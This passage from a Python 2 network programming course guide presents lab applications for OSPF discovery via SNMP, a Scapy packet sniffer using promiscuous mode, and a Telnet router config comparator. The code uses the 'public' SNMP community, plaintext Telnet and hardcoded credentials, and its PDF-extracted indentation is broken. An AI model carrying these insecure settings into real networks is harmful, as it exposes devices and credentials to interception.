#Write values to the MySQL database UPEthInterfaces table

Page 50 of 185
51 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

sql_connection("INSERT INTO
UPEthInterfaces(NetworkUPEthIntfPercent,Top3UPEthIntf,PollTimestamp)
VALUES(%s, %s, %s)", (upint, top3_list, poll_timestamp))

except ZeroDivisionError:
print "* There was an error while computing a network parameter.
No record has been added to MySQL. Please retry."

upint_total()

#print check_sql

if check_sql == True:
print "\n* All parameters were successfully exported to MySQL."

else:
print Fore.RED + "\n* There was a problem exporting data to MySQL.\n*
Check the files, database and SQL_Error_Log.txt.\n"

#De-initialize colorama
deinit()

#End of program

Page 51 of 185
52 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.8. Application #5 - OSPF network discovery via SNMP


(full code, reference: Section 17. Application #5 - OSPF network discovery via
SNMP)

Logical flow diagram

Page 52 of 185
53 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

############# Application #5 - Part #1 #############

'''
Make the following configuration on each router in the network:

configure terminal
snmp-server community public RO
'''

# Open a regular Linux terminal


# Go to the folder containing the script, using cd /folder_path
# Enter "sudo python OSPF_SNMP.py" and the password for the account
# You may also need to configure the permissions on the script first!
"chmod 755 script.py"
# Check the console output for any errors

#Necessary Python packages (they are already installed on the Debian VM)
#https://pypi.python.org/pypi/setuptools
#https://pypi.python.org/pypi/networkx
#https://pypi.python.org/pypi/matplotlib
#https://pypi.python.org/pypi/pysnmp
#https://pypi.python.org/pypi/colorama

import pprint
import subprocess
import binascii
import sys

try:
import matplotlib.pyplot as matp

except ImportError:
print Fore.RED + Style.BRIGHT + "\n* Module matplotlib needs to be
installed on your system."
print "* Download it from: https://pypi.python.org/pypi/matplotlib\n"
+ Fore.WHITE + Style.BRIGHT
sys.exit()

try:
import networkx as nx

except ImportError:
print Fore.RED + Style.BRIGHT + "\n* Module networkx needs to be
installed on your system."
print "* Download it from: https://pypi.python.org/pypi/networkx"
print "* You should also install decorator:
https://pypi.python.org/pypi/decorator\n" + Fore.WHITE + Style.BRIGHT
sys.exit()

try:
#Module for output coloring
from colorama import init, deinit, Fore, Style

except ImportError:

Page 53 of 185
54 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print Fore.RED + Style.BRIGHT + "\n* Module colorama needs to be


installed on your system."
print "* Download it from: https://pypi.python.org/pypi/colorama\n" +
Fore.WHITE + Style.BRIGHT
sys.exit()

try:
#Module for SNMP
from pysnmp.entity.rfc3413.oneliner import cmdgen

except ImportError:
print Fore.RED + Style.BRIGHT + "\n* Module pysnmp needs to be
installed on your system."
print "* Download it from: https://pypi.python.org/pypi/pysnmp\n" +
Fore.WHITE + Style.BRIGHT
sys.exit()

#Initialize colorama
init()

#Prompting user for input


try:
print Style.BRIGHT + "\n######################## OSPF DISCOVERY TOOL
########################"
print "Make sure to connect to a device already running OSPF in the
network!"
print "SNMP community string should be the same on all devices running
OSPF!\n"
ip = raw_input(Fore.BLUE + Style.BRIGHT + "\n* Please enter root
device IP: ")
comm = raw_input("\n* Please enter community string: ")

except KeyboardInterrupt:
print Fore.RED + Style.BRIGHT + "\n\n* Program aborted by user.
Exiting...\n"
sys.exit()

############# Application #5 - Part #2 #############

#Checking IP address validity


def ip_is_valid():
while True:
#Checking octets
a = ip.split('.')

if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) !=


127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255
and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255):
break

Page 54 of 185
55 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

else:
print '\n* There was an INVALID IP address! Please check and
try again!\n'
sys.exit()

#Checking IP reachability
print Fore.GREEN + Style.BRIGHT + "\n* Valid IP address. Checking IP
reachability...\n"

while True:
ping_reply = subprocess.call(['ping', '-c', '3', '-w', '3', '-q',
'-n', ip], stdout = subprocess.PIPE)

if ping_reply == 0:
print Fore.GREEN + Style.BRIGHT + "* Device is reachable.
Performing SNMP extraction...\n"
print Fore.GREEN + Style.BRIGHT + "* This may take a few
moments...\n"
break

elif ping_reply == 2:
print Fore.RED + Style.BRIGHT + "\n* No response from device
%s." % ip
sys.exit()

else:
print Fore.RED + Style.BRIGHT + "\n* Ping to the following
device has FAILED:", ip
print "\n"
sys.exit()

#Change exception message


try:
#Calling IP validity function
ip_is_valid()

except KeyboardInterrupt:
print Fore.RED + Style.BRIGHT + "\n\n* Program aborted by user.
Exiting...\n"
sys.exit()

ospf = []

#SNMP function
def snmp_get(ip):
nbridlist = []
nbriplist = []
ospf_devices = {}

#Creating command generator object


cmdGen = cmdgen.CommandGenerator()

Page 55 of 185
56 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Performing SNMP GETNEXT operations on the OSPF OIDs


#The basic syntax of nextCmd: nextCmd(authData, transportTarget,
*varNames)
#The nextCmd method returns a tuple of (errorIndication, errorStatus,
errorIndex, varBindTable)

errorIndication, errorStatus, errorIndex, varBindNbrTable =


cmdGen.nextCmd(cmdgen.CommunityData(comm),

cmdgen.UdpTransportTarget((ip, 161)),

'1.3.6.1.2.1.14.10.1.3')

#print
cmdGen.nextCmd(cmdgen.CommunityData(comm),cmdgen.UdpTransportTarget((ip,
161)),'1.3.6.1.2.1.14.10.1.3')
#print varBindNbrTable

errorIndication, errorStatus, errorIndex, varBindNbrIpTable =


cmdGen.nextCmd(cmdgen.CommunityData(comm),

cmdgen.UdpTransportTarget((ip, 161)),

'1.3.6.1.2.1.14.10.1.1')

#print varBindNbrIpTable

errorIndication, errorStatus, errorIndex, varBindHostTable =


cmdGen.nextCmd(cmdgen.CommunityData(comm),

cmdgen.UdpTransportTarget((ip, 161)),

'1.3.6.1.4.1.9.2.1.3')

#print varBindHostTable

errorIndication, errorStatus, errorIndex, varBindHostIdTable =


cmdGen.nextCmd(cmdgen.CommunityData(comm),

cmdgen.UdpTransportTarget((ip, 161)),

'1.3.6.1.2.1.14.1.1')

#print varBindHostIdTable

#Extract and print out the results


for varBindNbrTableRow in varBindNbrTable:
for oid, nbrid in varBindNbrTableRow:
hex_string = binascii.hexlify(str(nbrid))
#print hex_string
octets = [hex_string[i:i+2] for i in range(0, len(hex_string),
2)]
#print octets
ip = [int(i, 16) for i in octets]

Page 56 of 185
57 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#print ip
nbr_r_id = '.'.join(str(i) for i in ip)
#print nbr_r_id
nbridlist.append(nbr_r_id)
#print('%s = %s' % (oid, nbr_r_id))

for varBindNbrIpTableRow in varBindNbrIpTable:


for oid, nbrip in varBindNbrIpTableRow:
hex_string = binascii.hexlify(str(nbrip))
octets = [hex_string[i:i+2] for i in range(0, len(hex_string),
2)]
ip = [int(i, 16) for i in octets]
nbr_ip = '.'.join(str(i) for i in ip)
nbriplist.append(nbr_ip)
#print('%s = %s' % (oid, nbr_ip))

for varBindHostTableRow in varBindHostTable:


for oid, host in varBindHostTableRow:
ospf_host = str(host)
#print('%s = %s' % (oid, host))

for varBindHostIdTableRow in varBindHostIdTable:


for oid, hostid in varBindHostIdTableRow:
hex_string = binascii.hexlify(str(hostid))
octets = [hex_string[i:i+2] for i in range(0, len(hex_string),
2)]
ip = [int(i, 16) for i in octets]
ospf_host_id = '.'.join(str(i) for i in ip)
#print('%s = %s' % (oid, hostid))

#Adding OSPF data by device in the ospf_device dictionary


ospf_devices["Host"] = ospf_host
ospf_devices["HostId"] = ospf_host_id
ospf_devices["NbrRtrId"] = nbridlist
ospf_devices["NbrRtrIp"] = nbriplist

ospf.append(ospf_devices)

return ospf

#Calling the function for the user specified IP address


ospf = snmp_get(ip)
#pprint.pprint(ospf)

############# Application #5 - Part #3 #############

def find_unqueried_neighbors():

#Host OSPF Router IDs


all_host_ids = []

for n in range(0, len(ospf)):


hid = ospf[n]["HostId"]
all_host_ids.append(hid)

Page 57 of 185
58 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#print "HID"
#print all_host_ids
#print "\n"

#Neighbor OSPF Router IDs


all_nbr_ids = []

for n in range(0, len(ospf)):


for each_nid in ospf[n]["NbrRtrId"]:

if each_nid == "0.0.0.0":
pass

else:
all_nbr_ids.append(each_nid)

#print "NBR"
#print all_nbr_ids
#print list(set(all_nbr_ids))
#print "\n"

#Determining which neighbors were not queried and adding them to a


list
all_outsiders = []

for p in all_nbr_ids:

if p not in all_host_ids:
all_outsiders.append(p)

#print "OUT"
#print all_outsiders
#print "\n"

#Running the snmp_get() function for each unqueried neighbor


for q in all_outsiders:
for r in range(0, len(ospf)):
for index, s in enumerate(ospf[r]["NbrRtrId"]):
#print index, s

if q == s:
new_ip = ospf[r]["NbrRtrIp"][index]
snmp_get(new_ip)

else:
pass

return all_host_ids, all_nbr_ids, ospf

############# Application #5 - Part #4 #############

#Calling the function above


while True:

Page 58 of 185
59 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

if (len(list(set(find_unqueried_neighbors()[0]))) ==
len(list(set(find_unqueried_neighbors()[1])))):
break

final_devices_list = find_unqueried_neighbors()[2]

#pprint.pprint(final_devices_list)

#Creating list of neighborships


neighborship_dict = {}

for each_dictionary in final_devices_list:


for index, each_neighbor in enumerate(each_dictionary["NbrRtrId"]):

each_tuple = (each_dictionary["HostId"], each_neighbor)


neighborship_dict[each_tuple] = each_dictionary["NbrRtrIp"][index]

#pprint.pprint(neighborship_dict)

############# Application #5 - Part #5 #############

while True:
try:
#User defined actions
print Fore.BLUE + Style.BRIGHT + "* Please choose an action:\n\n1
- Display OSPF devices on the screen\n2 - Export OSPF devices to CSV
file\n3 - Generate OSPF network topology\ne - Exit"
user_choice = raw_input("\n* Enter your choice: ")
print "\n"

#Defining actions
if user_choice == "1":

for each_dict in final_devices_list:


print "Hostname: " + Fore.YELLOW + Style.BRIGHT + "%s" %
each_dict["Host"] + Fore.BLUE + Style.BRIGHT
print "OSFP RID: " + Fore.YELLOW + Style.BRIGHT + "%s" %
each_dict["HostId"] + Fore.BLUE + Style.BRIGHT
print "OSPF Neighbors by ID: " + Fore.YELLOW +
Style.BRIGHT + "%s" % ', '.join(each_dict["NbrRtrId"]) + Fore.BLUE +
Style.BRIGHT
print "OSPF Neighbors by IP: " + Fore.YELLOW +
Style.BRIGHT + "%s" % ', '.join(each_dict["NbrRtrIp"]) + Fore.BLUE +
Style.BRIGHT
print "\n"

continue

#Printing devices to CSV file


elif user_choice == "2":
print Fore.CYAN + Style.BRIGHT + "* Generating " + Fore.YELLOW
+ Style.BRIGHT + "OSPF_DEVICES" + Fore.CYAN + Style.BRIGHT + " file...\n"

Page 59 of 185
60 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print Fore.CYAN + Style.BRIGHT + "* Check the script folder.


Import the file into Excel for a better view of the devices.\n"

csv_file = open("OSPF_DEVICES.txt", "w")

print >>csv_file, "Hostname" + ";" + "OSPFRouterID" + ";" +


"OSPFNeighborRouterID" + ";" + "OSPFNeighborIP"

for each_dict in final_devices_list:


print >>csv_file, each_dict["Host"] + ";" +
each_dict["HostId"] + ";" + ', '.join(each_dict["NbrRtrId"]) + ";" + ',
'.join(each_dict["NbrRtrIp"])

csv_file.close()

continue

############# Application #5 - Part #6 #############

#Generating OSPF network topology


elif user_choice == "3":
print Fore.CYAN + Style.BRIGHT + "* Generating OSPF network
topology...\n" + Fore.BLUE + Style.BRIGHT

#Drawing the topology using the list of neighborships


G = nx.Graph()
G.add_edges_from(neighborship_dict.keys())
pos = nx.spring_layout(G, k = 0.1, iterations = 70)
nx.draw_networkx_labels(G, pos, font_size = 9, font_family =
"sans-serif", font_weight = "bold")
nx.draw_networkx_edges(G, pos, width = 4, alpha = 0.4,
edge_color = 'black')
nx.draw_networkx_edge_labels(G, pos, neighborship_dict,
label_pos = 0.3, font_size = 6)
nx.draw(G, pos, node_size = 700, with_labels = False)
matp.show()

continue

elif user_choice == "e":


print Fore.RED + Style.BRIGHT + "* Exiting... Bye!\n"
sys.exit()

else:
print Fore.RED + Style.BRIGHT + "* Invalid option. Please
retry.\n"
continue

except KeyboardInterrupt:
print Fore.RED + Style.BRIGHT + "\n\n* Program aborted by user.
Exiting...\n"
sys.exit()

#De-initialize colorama

Page 60 of 185
61 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

deinit()

#End of program

Page 61 of 185
62 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.9. Application #6 - Basic network sniffer


(full code, reference: Section 18. Application #6 - Basic network sniffer)

This application is a basic network sniffer, which captures some predefined protocols and
saves info about each network packet in an external file.

As with the other applications in this course, the full code is available for download.

Based on what you have learned so far in the course, its your job now to study,
understand and test the code against a network device, as youve seen me doing with the
previous applications.

Feel free to alter the code in any way you want, add new protocols to be captured, more
data to be exported in the external file and so on. New functionality of any kind is welcome.
Just make sure to adapt your code to the contents of the packet in Scapy.

Also, please read the first 33 lines in the code carefully, as they are a good introduction
to the code that follows.

As youve probably guessed, I used Scapy to build this sniffer, because this tool allows
packet handling, decoding and analysis in a very intuitive way.

Also, pay special attention to the recommendations and settings that I made before
starting to build the user menu and so on. I am referring to these lines and the ones above
them:

net_iface = raw_input("* Enter the interface on which to run the sniffer (like 'eth1'):
")
subprocess.call(["ifconfig", net_iface, "promisc"], stdout=None, stderr=None,
shell=False)

Further more, please read the comments before every code block, as they are good
guidelines to what functionality is covered by that piece of code.

As you can see at line 72, the program asks the user what network interface is the capture
process going to be executed on. A good example is entering eth1.

net_iface = raw_input("* Enter the interface on which to run the sniffer (like 'eth1'):
")

Then, at line 80, the user is asked to enter the number of packets he wishes to be captured
by the sniffer:

Page 62 of 185
63 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

pkt_to_sniff = raw_input("* Enter the number of packets to capture (0 is infinity): ")

At line 92, the program requires the number of seconds to run the capture:

time_to_sniff = raw_input("* Enter the number of seconds to run the capture: ")

At line 103, the program asks the user for the protocol to filter the packets by:

proto_sniff = raw_input("* Enter the protocol to filter by (arp|bootp|icmp|0 is all): ")

Lines 115 and 116 are dedicated to choosing the file name and creating the file, by
opening it for writing (w):

file_name = raw_input("* Please give a name to the log file: ")


sniffer_log = open(file_name, "w")

At line 124, you can find the function that takes care of the parameter extraction from
each packet and logging the packet info to the file: def packet_log(pkt)

The program implements a counter for each packet, then records the source MAC
address and destination MAC address to the file, on a single row.

Finally, the sniffing process is initialized by the sniff() function in Scapy, at line 138,
passing the values collected from the user as arguments to this function.

pkt = sniff(iface=net_iface, count=int(pkt_to_sniff), timeout=int(time_to_sniff),


prn=packet_log)

Now, to test the program, first you should have direct connectivity from the Debian VM to
the router in GNS3 (R1 - 192.168.2.101 was my test device):

root@debian:/home/debian/workingdir# ping 192.168.2.101


PING 192.168.2.101 (192.168.2.101) 56(84) bytes of data.
64 bytes from 192.168.2.101: icmp_req=1 ttl=255 time=429 ms

Lets choose ICMP packets for capturing purposes and after the capture is started, I am
going to ping the VM (192.168.2.100) from R1.

Please see the following way to use the program menu as an example:

root@debian:/home/debian/workingdir# python Sniffer.py

! Make sure to run this program as ROOT !

* Enter the interface on which to run the sniffer (like 'eth1'): eth1

Page 63 of 185
64 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Interface eth1 was set to PROMISC mode.

Enter the number of packets to capture (0 is infinity): 0

The program will capture packets until the timeout expires.

* Enter the number of seconds to run the capture: 10

The program will capture packets for 10 seconds.

* Enter the protocol to filter by (arp|bootp|icmp|0 is all): icmp

The program will capture only ICMP packets.

* Please give a name to the log file: udemy.txt

* Starting the capture... Waiting for 10 seconds...

At this point, the program listens for all the ICMP packets it receives in the next 10
seconds on eth1 (ping from R1 now!). The results will be exported to the udemy.txt file.

And these are the results in this case:

root@debian:/home/debian/workingdir# cat udemy.txt


Packet 1: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 2: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 3: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 4: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 5: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 6: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 7: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 8: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 9: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 10: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 11: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 12: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 13: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 14: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 15: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 16: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 17: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c
Packet 18: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00
Packet 19: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c

Packet 20: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00

Page 64 of 185
65 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Logical flow diagram

############# Application #6 - Basic Network Sniffer #############

#In Scapy, we will use the sniff() function to capture network packets.
#To see a list of what commands Scapy has available, run the lsc()
function.
#Run the ls() command to see ALL the supported protocols.
#Run the ls(protocol) command to see the fields and default values for any
protocol.
#See packet layers with the .summary() function.
#See packet contents with the .show() function.
#Dig into a specific packet layer using a list index:
pkts[3][2].summary()...

Page 65 of 185
66 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#...the first index chooses the packet out of the pkts list, the second
index chooses the layer for that specific packet.
#Using the .command() packet method will return a string of the command
necessary to recreate that sniffed packet.

#To see the list of optional arguments for the sniff() function:
'''
>>> print sniff.__doc__
Sniff packets
sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] +
L2ListenSocket args) -> list of packets

count: number of packets to capture. 0 means infinity


store: wether to store sniffed packets or discard them
prn: function to apply to each packet. If something is returned,
it is displayed. Ex:
ex: prn = lambda x: x.summary()
lfilter: python function applied to each packet to determine
if further action may be done
ex: lfilter = lambda x: x.haslayer(Padding)
offline: pcap file to read packets from, instead of sniffing them
timeout: stop sniffing after a given time (default: None)
L2socket: use the provided L2socket
opened_socket: provide an object ready to use .recv() on
stop_filter: python function applied to each packet to determine
if we have to stop the capture after this packet
ex: stop_filter = lambda x: x.haslayer(TCP)
'''

#Importing the necessary modules

import logging
import subprocess

#This will suppress all messages that have a lower level of seriousness
than error messages, while running or loading Scapy
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

Page 66 of 185
67 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Asking the user for some parameters: interface on which to sniff, the
number of packets to sniff, the time interval to sniff, the protocol
#Making the necessary configurations

print "\n! Make sure to run this program as ROOT !\n"

#Setting network interface in promiscuous mode


#Wikipedia: In computer networking, promiscuous mode or "promisc mode"[1]
is a mode for a wired network interface controller (NIC) or wireless
network interface controller (WNIC)...
#...that causes the controller to pass all traffic it receives to the
central processing unit (CPU) rather than passing only the frames that the
controller is intended to receive.
#This mode is normally used for packet sniffing that takes place on a
router or on a computer connected to a hub.

#Also, when using our setup (VirtualBox-to-GNS3), you should go to the


Settings section for the virtual machine you are using...
#...select the adapter that connects to the GNS3 network and set
Promiscuous Mode: Allow All

net_iface = raw_input("* Enter the interface on which to run the sniffer


(like 'eth1'): ")

subprocess.call(["ifconfig", net_iface, "promisc"], stdout=None,


stderr=None, shell=False)

print "\nInterface %s was set to PROMISC mode." % net_iface


print

#Asking the user for the number of packets to sniff (the "count"
parameter)
pkt_to_sniff = raw_input("Enter the number of packets to capture (0 is
infinity): ")

#Considering the case when the user enters 0 (infinity)


if int(pkt_to_sniff) != 0:
print "\nThe program will capture %d packets." % int(pkt_to_sniff)
print
elif int(pkt_to_sniff) == 0:
print "\nThe program will capture packets until the timeout expires."
print

#Asking the user for the time interval to sniff (the "timeout" parameter)
time_to_sniff = raw_input("* Enter the number of seconds to run the
capture: ")

#Handling the value entered by the user


if int(time_to_sniff) != 0:
print "\nThe program will capture packets for %d seconds." %
int(time_to_sniff)
print

Page 67 of 185
68 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Asking the user for any protocol filter he might want to apply to the
sniffing process
#For this example I chose three protocols: ARP, BOOTP, ICMP
#You can customize this to add your own desired protocols
proto_sniff = raw_input("* Enter the protocol to filter by
(arp|bootp|icmp|0 is all): ")

#Considering the case when the user enters 0 (all)


if (proto_sniff == "arp") or (proto_sniff == "bootp") or (proto_sniff ==
"icmp"):
print "\nThe program will capture only %s packets." %
proto_sniff.upper()
print
elif int(proto_sniff) == 0:
print "\nThe program will capture all protocols."
print

#Creating an external file for packet logging


file_name = raw_input("* Please give a name to the log file: ")
sniffer_log = open(file_name, "w")

#Initializing the packet counter


packet_no = 0

#This is the function that will be applied to each captured packet


#The function will extract some parameters from the packet and then log
each packet to an external file
def packet_log(pkt):
#The packet index
global packet_no

#Filtering the packets based on the protocol. Using the lower() method
to ignore the case when searching for the protocol in the packet.
if proto_sniff.lower() in pkt[0][1].summary().lower():
packet_no = packet_no + 1
#Writing the data for each packet to the external file
print >>sniffer_log, "Packet " + str(packet_no) + ": " + "SMAC: "
+ pkt[0].src + " DMAC: " + pkt[0].dst

print "\n* Starting the capture... Waiting for %s seconds..." %


time_to_sniff

#Running the sniffing process


pkt = sniff(iface=net_iface, count=int(pkt_to_sniff),
timeout=int(time_to_sniff), prn=packet_log)

#print pkt.show()

#Printing the closing message


print "\n* The timeout of %s seconds has passed." % time_to_sniff

Page 68 of 185
69 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print "* Please check the %s file to see the captured packets.\n" %
file_name

#Closing the log file


sniffer_log.close()

#End of program. Feel free to modify it, test it, add new protocols to
sniff and improve de code whenever you feel the need to.

Page 69 of 185
70 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.10. Application #7 - Configuration file comparator


(full code, reference: Section 19. Application #7 - Configuration file comparator)

This application connects to a router in the network via Telnet, extracts the output
of show running-config and show startup-config, filters the irrelevant lines and
finally compares the configurations. Now, I know this can be accomplished using
the show archive config differencescommand in Cisco CLI, but I wanted you to know
how can this task be accomplished using Python.

As with the other applications in this course, the full code is available for download.

Based on what you have learned so far in the course, its your job now to study,
understand and test the code against a network device, as youve seen me doing with the
previous applications.

Feel free to alter the code in any way you want. New functionality of any kind is welcome,
enhancements as well. Just make sure to adapt your code to the command output format.

Also, please read the first 13 lines in the code carefully, as they are a good introduction
to the code that follows. As you can see, the first thing you should do is configure Telnet
access on the router and the username and password:

username teopy privilege 15 password 0 python


line vty 0 4
privilege level 15
login local
transport input telnet ssh

At line 27, I have defined the ip_validity() function, which takes care of checking whether
the IP address of the router, which the user enters at the prompt, is valid or not. You have
already seen this kind of validity check in action in the previous applications, so there is
nothing new here. The same comment is valid for the file_validity() function (line 46).
Both functions are defined at this point and will be called later in the code.

At line 61, the telnet() function is defined, which takes a single parameter:command. The
value of this parameter will be passed to theconnection.write() method at line 96.

Starting with line 108, I defined the user menu, which will accept 3 options, except e -
Exit program:
1 - Compare running-config with startup-config
2 - Compare running-config with local file
3 - Compare startup-config with local file

I had treated only the first option, comparing the running-config with the startup-config -

Page 70 of 185
71 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

lines 115-196, leaving you with the job of coding and testing the other two options, having
my code from option 1 as a guideline.

Now, lets look at option 1 for a bit. First, I called the ip_validity() function to get this out
of the way. Next, a very important step, I called the telnet()function for each of the two
commands I am interested in, and saved the returned output to a separate
variable: output_run for the running-config and output_start for the startup-config.

Then, I have created (opened for writing) two files, each of them storing the output of the
corresponding command. The file names are intuitively chosen. Dont forget to close the
files after writing the contents of those variables, to save the information.

Next, I opened the files for reading and used the readlines() method on each file object
to store the lines in each file as elements of a list. Of course, then I closed the files.

Then, using a for loop, I have filtered the lines in each file which were of no interest to
our goal. We are only interested in the lines starting with the one defining the IOS
version: version 12.4 for example. That is actually the first relevant line in each file.

Now, after cleaning the files, we are left with only the pure router configurations. Its time
to create a new file (file_diff.txt), in which all the config differences are going to be stored.
Actually, we are going to compare the two lists obtained with the readlines() method.

Finally, using list comprehensions, we are going to find the lines in the running-config
which are not present in the startup-config and vice versa. In case there are multiple
differences, we use a for loop to iterate over the lists and then print those differences
directly into the file_diff.txt file., one per line As stated in the code, the rule is:

A "+" sign means the line is present in the RUNNING-CONFIG but not in the
STARTUP-CONFIG
A "-" sign means the line is present in the STARTUP-CONFIG but not in the
RUNNING-CONFIG

Now, lets make a quick test. If you have just started the router and made no config yet,
then the startup-config and running-config are the same. No surprise here. But, to make
the test more relevant, lets configure a few things before starting the comparison, without
saving the changes to the startup-config. So, lets go to router R1:

R1(config)#username udemy1 password udemy


R1(config)#username udemy2 password udemy
R1(config)#username udemy3 password udemy

Now, these three configurations are the differences between the startup-config and the
running-config. We should see them after running our program, saved in
the file_diff.txt file. Lets test this:

Page 71 of 185
72 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

root@debian:/home/debian/workingdir# python ConfigFileComp.py

Use this tool to:


1 - Compare running-config with startup-config
2 - Compare running-config with local file
3 - Compare startup-config with local file
e - Exit program

Enter your choice: 1


Enter an IP address: 192.168.2.101

Please wait while the config file is being analyzed...

Use this tool to:


1 - Compare running-config with startup-config
2 - Compare running-config with local file
3 - Compare startup-config with local file
e - Exit program

Enter your choice: e


Exiting... See ya...

Now lets check the results. We should see all three commands with a +sign, right?

root@debian:/home/debian/workingdir# cat file_diff.txt

+username udemy1 password 0 udemy

+username udemy2 password 0 udemy

+username udemy3 password 0 udemy

root@debian:/home/debian/workingdir#

...and success! As expected, the three commands are marked as differences, in the file.

Page 72 of 185
73 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Logical flow diagram

Page 73 of 185
74 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

############# Application #7 - Config File Comparator #############

#This program will:


# * Connect to a router via Telnet and it will compare the running-config
file to the startup-config file on that device (this can be usually done
with: show archive config differences)
# * Compare a locally stored config file (.txt) with the running-config
file or startup-config file running on a router.
#Please see the "Python File Operations" section in the course for a recap
of the necessary concepts.
#Don't forget to configure Telnet access on the router!

#username teopy privilege 15 password 0 python


#line vty 0 4
# privilege level 15
# login local
# transport input telnet ssh

#The first part of the program is very similar to Application #2 in the


course.

import telnetlib
import os.path
import subprocess
import time
import sys

def ip_validity():
global ip_address

#Checking IP validity
while True:
ip_address = raw_input("Enter an IP address: ")

#Checking octets
a = ip_address.split('.')

if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) !=


127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255
and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255):
break

else:
print "\nThe IP address is INVALID! Please retry!\n"
continue

def file_validity():
while True:

Page 74 of 185
75 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

cfg_file = raw_input("Enter config file name and extension: ")

#Changing exception message


if os.path.isfile(cfg_file) == True:
print "\nFile was found...\n"
break

else:
print "\nFile %s does not exist! Please check and try
again!\n" % cfg_file
continue

def telnet(command):
#Connecting to router via Telnet
#Define telnet parameters
username = 'teopy'
password = 'python'

#Specify the Telnet port (default is 23, anyway)


port = 23

#Specify the connection timeout in seconds for blocking operations,


like the connection attempt
connection_timeout = 5

#Specify a timeout in seconds. Read until the string is found or until


the timout has passed
reading_timeout = 5

#Logging into device


connection = telnetlib.Telnet(ip_address, port, connection_timeout)

#Waiting to be asked for an username


router_output = connection.read_until("Username:", reading_timeout)
#Enter the username when asked and a "\n" for Enter
connection.write(username + "\n")

#Waiting to be asked for a password


router_output = connection.read_until("Password:", reading_timeout)
#Enter the password when asked and a "\n" for Enter
connection.write(password + "\n")
time.sleep(1)

#Setting terminal length for the entire output - disabling pagination


connection.write("terminal length 0\n")
time.sleep(1)

#Entering global config mode


connection.write("\n")
connection.write(command + "\n")
time.sleep(5)

Page 75 of 185
76 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

router_output = connection.read_very_eager()
#print router_output

#Closing the connection


connection.close()

return router_output

################## USER MENU #################


try:
#Entering user option
while True:
print "\nUse this tool to:\n1 - Compare running-config with
startup-config\n2 - Compare running-config with local file\n3 - Compare
startup-config with local file\ne - Exit program\n"

user_option = raw_input("Enter your choice: ")

if user_option == "1":
###Checking IP validity first###
ip_validity()

print "\nPlease wait while the config file is being


analyzed...\n"

output_run = telnet("show running-config")


output_start = telnet("show startup-config")

#print output_run
#print output_start

###Creating and writing the command output to files###


file_run = open("file_run.txt", "w")

print >>file_run, output_run

file_start = open("file_start.txt", "w")

print >>file_start, output_start

#Closing both files after writing


file_run.close()
file_start.close()

###Comparing the contents of the files and saving the


differences to a new file###
###First, reading the lines in each file and storing them as
elements of a list###

file_run = open("file_run.txt", "r")

